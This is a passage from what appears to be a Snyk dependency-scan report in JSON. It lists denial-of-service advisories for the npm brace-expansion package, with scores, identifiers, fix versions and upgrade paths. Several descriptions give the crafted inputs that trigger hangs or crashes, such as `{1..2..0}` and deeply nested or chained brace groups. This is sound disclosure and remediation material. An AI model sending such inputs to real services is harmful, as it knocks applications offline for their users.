"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
